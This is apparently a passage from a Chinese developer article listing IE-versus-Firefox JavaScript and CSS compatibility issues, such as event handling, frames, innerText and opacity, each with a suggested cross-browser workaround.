问题说明:IE下,可以使用获取常规属性的方法来获取自定义属性,也可以使用 getAttribute() 获取自定义属性;Firefox下,只能使用 getAttribute() 获取自定义属性。
解决方法:统一通过 getAttribute() 获取自定义属性。

eval(”idName”)问题
问题说明:IE下,可以使用 eval(”idName”) 或 getElementById(”idName”) 来取得 id 为 idName 的HTML对象;Firefox下,只能使用 getElementById(”idName”) 来取得 id 为 idName 的HTML对象。
解决方法:统一用 getElementById(”idName”) 来取得 id 为 idName 的HTML对象。

变量名与某HTML对象ID相同的问题
问题说明:IE下,HTML对象的ID可以作为 document 的下属对象变量名直接使用,Firefox下则不能;Firefox下,可以使用与HTML对象ID相同的变量名,IE下则不能。
解决方法:使用 document.getElementById(”idName”) 代替 document.idName。最好不要取HTML对象ID相同的变量名,以减少错误;在声明变量时,一律加上var关键字,以避免歧义。

const问题
问题说明:Firefox下,可以使用const关键字或var关键字来定义常量;IE下,只能使用var关键字来定义常量。
解决方法:统一使用var关键字来定义常量。

input.type属性问题
问题说明:IE下 input.type 属性为只读;但是Firefox下 input.type 属性为读写。
解决办法:不修改 input.type 属性。如果必须要修改,可以先隐藏原来的input,然后在同样的位置再插入一个新的input元素。

window.event问题
问题说明:window.event 只能在IE下运行,而不能在Firefox下运行,这是因为Firefox的event只能在事件发生的现场使用。
解决方法:在事件发生的函数上加上event参数,在函数体内(假设形参为evt)使用 var myEvent = evt?evt:(window.event?window.event:null)
示例:<input onclick="”doSomething(event)”/" type="”button”">
<script language="”javascript”"></script>
function doSomething(evt) {
var myEvent = evt ? evt: (window.event ? window.event : null)

}

event.x与event.y问题
问题说明:IE下,even对象有x、y属性,但是没有pageX、pageY属性;Firefox下,even对象有pageX、pageY属性,但是没有x、y属性。
解决方法:var myX = event.x ? event.x : event.pageX;var myY = event.y ? event.y:event.pageY;
如果考虑第8条问题,就改用myEvent代替event即可。

event.srcElement问题
问题说明:IE下,even对象有srcElement属性,但是没有target属性;Firefox下,even对象有target属性,但是没有srcElement属性。
解决方法:使用srcObj = event.srcElement ? event.srcElement : event.target;
如果考虑第8条问题,就改用myEvent代替event即可。

window.location.href问题
问题说明:IE或者Firefox2.0.x下,可以使用window.location或window.location.href;Firefox1.5.x下,只能使用window.location。
解决方法:使用 window.location 来代替 window.location.href。当然也可以考虑使用 location.replace()方法。

模态和非模态窗口问题
问题说明:IE下,可以通过showModalDialog和showModelessDialog打开模态和非模态窗口;Firefox下则不能。
解决方法:直接使用 window.open(pageURL,name,parameters) 方式打开新窗口。
如果需要将子窗口中的参数传递回父窗口,可以在子窗口中使用window.opener来访问父窗口。如果需要父窗口控制子窗口的话,使用var subWindow = window.open(pageURL,name,parameters);来获得新开的窗口对象。

frame和iframe问题
以下面的frame为例:
<frame src=”xxx.html” id=”frameId” name=”frameName” />
(1)访问frame对象
IE:使用window.frameId或者window.frameName来访问这个frame对象;
Firefox:使用window.frameName来访问这个frame对象;
解决方法:统一使用 window.document.getElementById(”frameId”) 来访问这个frame对象;

(2)切换frame内容
在IE和Firefox中都可以使用window.document.getElementById(”frameId”).src = “xxx.html”或window.frameName.location = “xxx.html”来切换frame的内容;
如果需要将frame中的参数传回父窗口,可以在frame中使用parent关键字来访问父窗口。

body载入问题
问题说明:Firefox的body对象在body标签没有被浏览器完全读入之前就存在;而IE的body对象则必须在body标签被浏览器完全读入之后才存在。
[注] 这个问题尚未实际验证,待验证后再来修改。
[注] 经验证,IE6、Opera9以及FireFox2中不存在上述问题,单纯的JS脚本可以访问在脚本之前已经载入的所有对象和元素,即使这个元素还没有载入完成。

事件委托方法
问题说明:IE下,使用 document.body.onload = inject;其中function inject()在这之前已被实现;在Firefox下,使用 document.body.onload = inject();
解决方法:统一使用 document.body.onload=new Function(”inject()”);或者 document.body.onload = function(){/* 这里是代码 */}
[注意] Function和function的区别

访问的父元素的区别
问题说明:在IE下,使用 obj.parentElement 或 obj.parentNode 访问obj的父结点;在firefox下,使用 obj.parentNode 访问obj的父结点。
解决方法:因为firefox与IE都支持DOM,因此统一使用obj.parentNode 来访问obj的父结点。

cursor:hand VS cursor:pointer
问题说明:firefox不支持hand,但ie支持pointer ,两者都是手形指示。
解决方法:统一使用pointer。

innerText的问题
问题说明:innerText在IE中能正常工作,但是innerText在FireFox中却不行。
解决方法:在非IE浏览器中使用textContent代替innerText。
示例:
if(navigator.appName.indexOf(”Explorer”) >-1){
document.getElementById(”element”).innerText = “my text”;
}else{
document.getElementById(”element”).textContent = “my text”;
}
[注] innerHTML 同时被ie、firefox等浏览器支持,其他的,如outerHTML等只被ie支持,最好不用。

对象宽高赋值问题
问题说明:FireFox中类似 obj.style.height = imgObj.height 的语句无效。
解决方法:统一使用 obj.style.height = imgObj.height + “px”;

Table操作问题
问题说明:ie、firefox以及其它浏览器对于 table 标签的操作都各不相同,在ie中不允许对table和tr的innerHTML赋值,使用js增加一个tr时,使用appendChild方法也不管用。
解决方法:
//向table追加一个空行:
var row = otable.insertRow(-1);
var cell = document.createElement(”td”);
cell.innerHTML = “”;
cell.className = “XXXX”;
row.appendChild(cell);
[注] 由于俺很少使用JS直接操作表格,这个问题没有遇见过。建议使用JS框架集来操作table,如JQuery。

ul和ol列表缩进问题
消除ul、ol等列表的缩进时,样式应写成:list-style:none;margin:0px;padding:0px;
其中margin属性对IE有效,padding属性对FireFox有效。← 此句表述有误,详细见↓
[注] 这个问题尚未实际验证,待验证后再来修改。
[注] 经验证,在IE中,设置margin:0px可以去除列表的上下左右缩进、空白以及列表编号或圆点,设置padding对样式没有影响;在Firefox 中,设置margin:0px仅仅可以去除上下的空白,设置padding:0px后仅仅可以去掉左右缩进,还必须设置list-style:none才 能去除列表编号或圆点。也就是说,在IE中仅仅设置margin:0px即可达到最终效果,而在Firefox中必须同时设置margin:0px、 padding:0px以及list-style:none三项才能达到最终效果。

CSS透明问题
IE:filter:progid:DXImageTransform.Microsoft.Alpha(style=0,opacity=60)。
FF:opacity:0.6。
[注] 最好两个都写,并将opacity属性放在下面。

CSS圆角问题
IE:ie7以下版本不支持圆角。
FF:-moz-border-radius:4px,或者-moz-border-radius-topleft:4px;-moz-border- radius-topright:4px;-moz-border-radius-bottomleft:4px;-moz-border-radius- bottomright:4px;。
[注] 圆角问题是CSS中的经典问题,建议使用JQuery框架集来设置圆角,让这些复杂的问题留给别人去想吧。